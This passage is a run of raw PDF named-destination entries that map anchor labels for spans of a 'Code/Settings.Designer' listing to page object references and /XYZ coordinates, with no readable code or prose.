0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings.Designer/:__span-0-209) [ 1559 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings.Designer/:__span-0-21) [ 1551 0 R /XYZ 60.307257 426.228030 0 ] (Code/Settings.Designer/:__span-0-210) [ 1559 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings.Designer/:__span-0-211) [ 1559 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings.Designer/:__span-0-212) [ 1559 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings.Designer/:__span-0-213) [ 1559 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings.Designer/:__span-0-214) [ 1559 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings.Designer/:__span-0-215) [ 1559 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings.Designer/:__span-0-216) [ 1559 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings.Designer/:__span-0-217) [ 1559 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings.Designer/:__span-0-218) [ 1559 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings.Designer/:__span-0-219) [ 1561 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings.Designer/:__span-0-22) [ 1551 0 R /XYZ 60.307257 412.827678 0 ] (Code/Settings.Designer/:__span-0-220) [ 1561 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings.Designer/:__span-0-221) [ 1561 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings.Designer/:__span-0-222) [ 1561 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings.Designer/:__span-0-223) [ 1561 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings.Designer/:__span-0-224) [ 1561 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings.Designer/:__span-0-225) [ 1561 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings.Designer/:__span-0-226) [ 1561 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings.Designer/:__span-0-227) [ 1561 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings.Designer/:__span-0-228) [ 1561 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings.Designer/:__span-0-229) [ 1561 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings.Designer/:__span-0-23) [ 1551 0 R /XYZ 60.307257 399.427326 0 ] (Code/Settings.Designer/:__span-0-230) [ 1561 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings.Designer/:__span-0-231) [ 1561 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings.Designer/:__span-0-232) [ 1561 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings.Designer/:__span-0-233) [ 1561 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings.Designer/:__span-0-234) [ 1561 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings.Designer/:__span-0-235) [ 1561 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings.Designer/:__span-0-236) [ 1561 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings.Designer/:__span-0-237) [ 1561 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings.Designer/:__span-0-238) [ 1561 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings.Designer/:__span-0-239) [ 1561 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings.Designer/:__span-0-24) [ 1551 0 R /XYZ 60.307257 386.026974 0 ] (Code/Settings.Designer/:__span-0-240) [ 1561 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings.Designer/:__span-0-241) [ 1561 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings.Designer/:__span-0-242) [ 1561 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings.Designer/:__span-0-243) [ 1561 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings.Designer/:__span-0-244) [ 1561 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings.Designer/:__span-0-245) [ 1561 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings.Designer/:__span-0-246) [ 1561 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings.Designer/:__span-0-247) [ 1561 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings.Designer/:__span-0-248) [ 1561 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings.Designer/:__span-0-249) [ 1561 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings.Designer/:__span-0-25) [ 1551 0 R /XYZ 60.307257 372.626622 0 ] (Code/Settings.Designer/:__span-0-250) [ 1561 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings.Designer/:__span-0-251) [ 1561 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings.Designer/:__span-0-252) [ 1561 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings.Designer/:__span-0-253) [ 1561 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings.Designer/:__span-0-254) [ 1561 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings.Designer/:__span-0-255) [ 1561 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings.Designer/:__span-0-256) [ 1561 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings.Designer/:__span-0-257) [ 1561 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings.Designer/:__span-0-258) [ 1561 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings.Designer/:__span-0-259) [ 1561 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings.Designer/:__span-0-26) [ 1551 0 R /XYZ 60.307257 359.226270 0 ] (Code/Settings.Designer/:__span-0-260) [ 1561 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings.Designer/:__span-0-261) [ 1561 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings.Designer/:__span-0-262) [ 1561 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings.Designer/:__span-0-263) [ 1563 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings.Designer/:__span-0-264) [ 1563 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings.Designer/:__span-0-265) [ 1563 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings.Designer/:__span-0-266) [ 1563 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings.Designer/:__span-0-267) [ 1563 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings.Designer/:__span-0-268) [ 1563 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings.Designer/:__span-0-269) [ 1563 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings.Designer/:__span-0-27) [ 1551 0 R /XYZ 60.307257 345.825918 0 ] (Code/Settings.Designer/:__span-0-270) [ 1563 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings.Designer/:__span-0-271) [ 1563 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings.Designer/:__span-0-272) [ 1563 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings.Designer/:__span-0-273) [ 1563 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings.Designer/:__span-0-274) [ 1563 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings.Designer/:__span-0-275) [ 1563 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings.Designer/:__span-0-276) [ 1563 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings.Designer/:__span-0-277) [ 1563 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings.Designer/:__span-0-278) [ 1563 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings.Designer/:__span-0-279) [ 1563 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings.Designer/:__span-0-28) [ 1551 0 R /XYZ 60.307257 332.425566 0 ] (Code/Settings.Designer/:__span-0-280) [ 1563 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings.Designer/:__span-0-281) [ 1563 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings.Designer/:__span-0-282) [ 1563 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings.Designer/:__span-0-283) [ 1563 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings.Designer/:__span-0-284) [ 1563 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings.Designer/:__span-0-285) [ 1563 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings.Designer/:__span-0-286) [ 1563 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings.Designer/:__span-0-287) [ 1563 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings.Designer/:__span-0-288) [ 1563 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings.Designer/:__span-0-289) [ 1563 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings.Designer/:__span-0-29) [ 1551 0 R /XYZ 60.307257 319.025214 0 ] (Code/Settings.Designer/:__span-0-290) [ 1563 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings.Designer/:__span-0-291) [ 1563 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings.Designer/:__span-0-292) [ 1563 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings.Designer/:__span-0-293) [ 1563 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings.Designer/:__span-0-294) [ 1563 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings.Designer/:__span-0-295) [ 1563 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings.Designer/:__span-0-296) [ 1563 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings.Designer/:__span-0-297) [ 1563 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings.Designer/:__span-0-298) [ 1563 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings.Designer/:__span-0-299) [ 1563 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings.Designer/:__span-0-3) [ 1551 0 R /XYZ 60.307257 680.834718 0 ] (Code/Settings.Designer/:__span-0-30) [ 1551 0 R /XYZ 60.307257 305.624862 0 ] (Code/Settings.Designer/:__span-0-300) [ 1563 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings.Designer/:__span-0-301) [ 1563 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings.Designer/:__span-0-302) [ 1563 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings.Designer/:__span-0-303) [ 1563 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings.Designer/:__span-0-304) [ 1563 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings.Designer/:__span-0-305) [ 1563 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings.Designer/:__span-0-306) [ 1563 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings.Designer/:__span-0-307) [ 1563 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings.Designer/:__span-0-308) [ 1563 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings.Designer/:__span-0-309) [ 1565 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings.Designer/:__span-0-31) [ 1551 0 R /XYZ 60.307257 292.224510 0 ] (Code/Settings.Designer/:__span-0-310) [ 1565 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings.Designer/:__span-0-311) [ 1565 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings.Designer/:__span-0-312) [ 1565 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings.Designer/:__span-0-313) [ 1565 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings.Designer/:__span-0-314) [ 1565 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings.Designer/:__span-0-315) [ 1565 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings.Designer/:__span-0-316) [ 1565 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings.Designer/:__span-0-317) [ 1565 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings.Designer/:__span-0-318) [ 1565 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings.Designer/:__span-0-319) [ 1565 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings.Designer/:__span-0-32) [ 1551 0 R /XYZ 60.307257 278.824158 0 ] (Code/Settings.Designer/:__span-0-320) [ 1565 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings.Designer/:__span-0-321) [ 1565 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings.Designer/:__span-0-322) [ 1565 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings.Designer/:__span-0-323) [ 1565 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings.Designer/:__span-0-324) [ 1565 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings.Designer/:__span-0-325) [ 1565 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings.Designer/:__span-0-326) [ 1565 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings.Designer/:__span-0-327) [ 1565 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings.Designer/:__span-0-328) [ 1565 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings.Designer/:__span-0-329) [ 1565 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings.Designer/:__span-0-33) [ 1551 0 R /XYZ 60.307257 265.423806 0 ] (Code/Settings.Designer/:__span-0-330) [ 1565 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings.Designer/:__span-0-331) [ 1565 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings.Designer/:__span-0-332) [ 1565 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings.Designer/:__span-0-333) [ 1565 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings.Designer/:__span-0-334) [ 1565 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings.Designer/:__span-0-335) [ 1565 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings.Designer/:__span-0-336) [ 1565 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings.Designer/:__span-0-337) [ 1565 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings.Designer/:__span-0-338) [ 1565 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings.Designer/:__span-0-339) [ 1565 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings.Designer/:__span-0-34) [ 1551 0 R /XYZ 60.307257 252.023454 0 ] (Code/Settings.Designer/:__span-0-340) [ 1565 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings.Designer/:__span-0-341) [ 1565 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings.Designer/:__span-0-342) [ 1565 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings.Designer/:__span-0-343) [ 1565 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings.Designer/:__span-0-344) [ 1565 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings.Designer/:__span-0-345) [ 1565 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings.Designer/:__span-0-346) [ 1565 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings.Designer/:__span-0-347) [ 1565 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings.Designer/:__span-0-348) [ 1565 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings.Designer/:__span-0-349) [ 1565 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings.Designer/:__span-0-35) [ 1551 0 R /XYZ 60.307257 238.623102 0 ] (Code/Settings.Designer/:__span-0-350) [ 1567 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings.Designer/:__span-0-351) [ 1567 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings.Designer/:__span-0-352) [ 1567 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings.Designer/:__span-0-353) [ 1567 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings.Designer/:__span-0-354) [ 1567 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings.Designer/:__span-0-355) [ 1567 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings.Designer/:__span-0-356) [ 1567 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings.Designer/:__span-0-357) [ 1567 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings.Designer/:__span-0-358) [ 1567 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings.Designer/:__span-0-359) [ 1567 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings.Designer/:__span-0-36) [ 1551 0 R /XYZ 60.307257 225.222750 0 ] (Code/Settings.Designer/:__span-0-360) [ 1567 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings.Designer/:__span-0-361) [ 1567 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings.Designer/:__span-0-362) [ 1567 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings.Designer/:__span-0-363) [ 1567 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings.Designer/:__span-0-364) [ 1567 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings.Designer/:__span-0-365) [ 1567 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings.Designer/:__span-0-366) [ 1567 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings.Designer/:__span-0-367) [ 1567 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings.Designer/:__span-0-368) [ 1567 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings.Designer/:__span-0-369) [ 1567 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings.Designer/:__span-0-37) [ 1551 0 R /XYZ 60.307257 211.822398 0 ] (Code/Settings.Designer/:__span-0-370) [ 1567 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings.Designer/:__span-0-371) [ 1567 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings.Designer/:__span-0-372) [ 1567 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings.Designer/:__span-0-373) [ 1567 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings.Designer/:__span-0-374) [ 1567 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings.Designer/:__span-0-375) [ 1567 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings.Designer/:__span-0-376) [ 1567 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings.Designer/:__span-0-377) [ 1567 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings.Designer/:__span-0-378) [ 1567 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings.Designer/:__span-0-379) [ 1567 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings.Designer/:__span-0-38) [ 1551 0 R /XYZ 60.307257 198.422046 0 ] (Code/Settings.Designer/:__span-0-380) [ 1567 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings.Designer/:__span-0-381) [ 1567 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings.Designer/:__span-0-382) [ 1567 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings.Designer/:__span-0-383) [ 1567 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings.Designer/:__span-0-384) [ 1567 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings.Designer/:__span-0-385) [ 1567 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings.Designer/:__span-0-386) [ 1567 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings.Designer/:__span-0-387) [ 1567 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings.Designer/:__span-0-388) [ 1567 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings.Designer/:__span-0-389) [ 1567 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings.Designer/:__span-0-39) [ 1551 0 R /XYZ 60.307257 185.021694 0 ] (Code/Settings.Designer/:__span-0-390) [ 1567 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings.Designer/:__span-0-391) [ 1567 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings.Designer/:__span-0-392) [ 1567 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings.Designer/:__span-0-393) [ 1569 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings.Designer/:__span-0-394) [ 1569 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings.Designer/:__span-0-395) [ 1569 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings.Designer/:__span-0-396) [ 1569 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings.Designer/:__span-0-397) [ 1569 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings.Designer/:__span-0-398) [ 1569 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings.Designer/:__span-0-399) [ 1569 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings.Designer/:__span-0-4) [ 1551 0 R /XYZ 60.307257 667.434366 0 ] (Code/Settings.Designer/:__span-0-40) [ 1551 0 R /XYZ 60.307257 171.621342 0 ] (Code/Settings.Designer/:__span-0-400) [ 1569 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings.Designer/:__span-0-401) [ 1569 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings.Designer/:__span-0-402) [ 1569 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings.Designer/:__span-0-403) [ 1569 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings.Designer/:__span-0-404) [ 1569 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings.Designer/:__span-0-405) [ 1569 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings.Designer/:__span-0-406) [ 1569 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings.Designer/:__span-0-407) [ 1569 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings.Designer/:__span-0-408) [ 1569 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings.Designer/:__span-0-409) [ 1569 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings.Designer/:__span-0-41) [ 1551 0 R /XYZ 60.307257 158.220990 0 ] (Code/Settings.Designer/:__span-0-410) [ 1569 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings.Designer/:__span-0-411) [ 1569 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings.Designer/:__span-0-412) [ 1569 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings.Designer/:__span-0-413) [ 1569 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings.Designer/:__span-0-414) [ 1569 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings.Designer/:__span-0-415) [ 1569 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings.Designer/:__span-0-416) [ 1569 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings.Designer/:__span-0-417) [ 1569 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings.Designer/:__span-0-418) [ 1569 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings.Designer/:__span-0-419) [ 1569 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings.Designer/:__span-0-42) [ 1551 0 R /XYZ 60.307257 144.820638 0 ] (Code/Settings.Designer/:__span-0-420) [ 1569 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings.Designer/:__span-0-421) [ 1569 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings.Designer/:__span-0-422) [ 1569 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings.Designer/:__span-0-423) [ 1569 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings.Designer/:__span-0-424) [ 1569 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings.Designer/:__span-0-425) [ 1569 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings.Designer/:__span-0-426) [ 1569 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings.Designer/:__span-0-427) [ 1569 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings.Designer/:__span-0-428) [ 1569 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings.Designer/:__span-0-429) [ 1569 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings.Designer/:__span-0-43) [ 1551 0 R /XYZ 60.307257 131.420286 0 ] (Code/Settings.Designer/:__span-0-430) [ 1569 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings.Designer/:__span-0-431) [ 1569 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings.Designer/:__span-0-432) [ 1569 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings.Designer/:__span-0-433) [ 1569 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings.Designer/:__span-0-434) [ 1569 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings.Designer/:__span-0-435) [ 1569 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings.Designer/:__span-0-436) [ 1569 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings.Designer/:__span-0-437) [ 1571 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings.Designer/:__span-0-438) [ 1571 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings.Designer/:__span-0-439) [ 1571 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings.Designer/:__span-0-44) [ 1551 0 R /XYZ 60.307257 118.019934 0 ] (Code/Settings.Designer/:__span-0-440) [ 1571 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings.Designer/:__span-0-441) [ 1571 0 R /XYZ 60.307257 704.021862 0 ] (Code/Settings.Designer/:__span-0-442) [ 1571 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings.Designer/:__span-0-443) [ 1571 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings.Designer/:__span-0-444) [ 1571 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings.Designer/:__span-0-445) [ 1571 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings.Designer/:__span-0-446) [ 1571 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings.Designer/:__span-0-447) [ 1571 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings.Designer/:__span-0-448) [ 1571 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings.Designer/:__span-0-449) [ 1571 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings.Designer/:__span-0-45) [ 1551 0 R /XYZ 60.307257 104.619582 0 ] (Code/Settings.Designer/:__span-0-450) [ 1571 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings.Designer/:__span-0-451) [ 1571 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings.Designer/:__span-0-452) [ 1571 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings.Designer/:__span-0-453) [ 1571 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings.Designer/:__span-0-454) [ 1571 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings.Designer/:__span-0-455) [ 1571 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings.Designer/:__span-0-456) [ 1571 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings.Designer/:__span-0-457) [ 1571 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings.Designer/:__span-0-458) [ 1571 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings.Designer/:__span-0-459) [ 1571 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings.Designer/:__span-0-46) [ 1551 0 R /XYZ 60.307257 91.219230 0 ] (Code/Settings.Designer/:__span-0-460) [ 1571 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings.Designer/:__span-0-461) [ 1571 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings.Designer/:__span-0-462) [ 1571 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings.Designer/:__span-0-463) [ 1571 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings.Designer/:__span-0-464) [ 1571 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings.Designer/:__span-0-465) [ 1571 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings.Designer/:__span-0-466) [ 1571 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings.Designer/:__span-0-467) [ 1571 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings.Designer/:__span-0-468) [ 1571 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings.Designer/:__span-0-469) [ 1571 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings.Designer/:__span-0-47) [ 1553 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings.Designer/:__span-0-470) [ 1571 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings.Designer/:__span-0-471) [ 1571 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings.Designer/:__span-0-472) [ 1571 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings.Designer/:__span-0-473) [ 1571 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings.Designer/:__span-0-474) [ 1571 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings.Designer/:__span-0-475) [ 1571 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings.Designer/:__span-0-476) [ 1571 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings.Designer/:__span-0-477) [ 1571 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings.Designer/:__span-0-478) [ 1571 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings.Designer/:__span-0-479) [ 1571 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings.Designer/:__span-0-48) [ 1553 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings.Designer/:__span-0-480) [ 1571 0 R /XYZ 60.307257 141.207078 0 ] (Code/Settings.Designer/:__span-0-481) [ 1571 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings.Designer/:__span-0-482) [ 1571 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings.Designer/:__span-0-483) [ 1571 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings.Designer/:__span-0-484) [ 1571 0 R 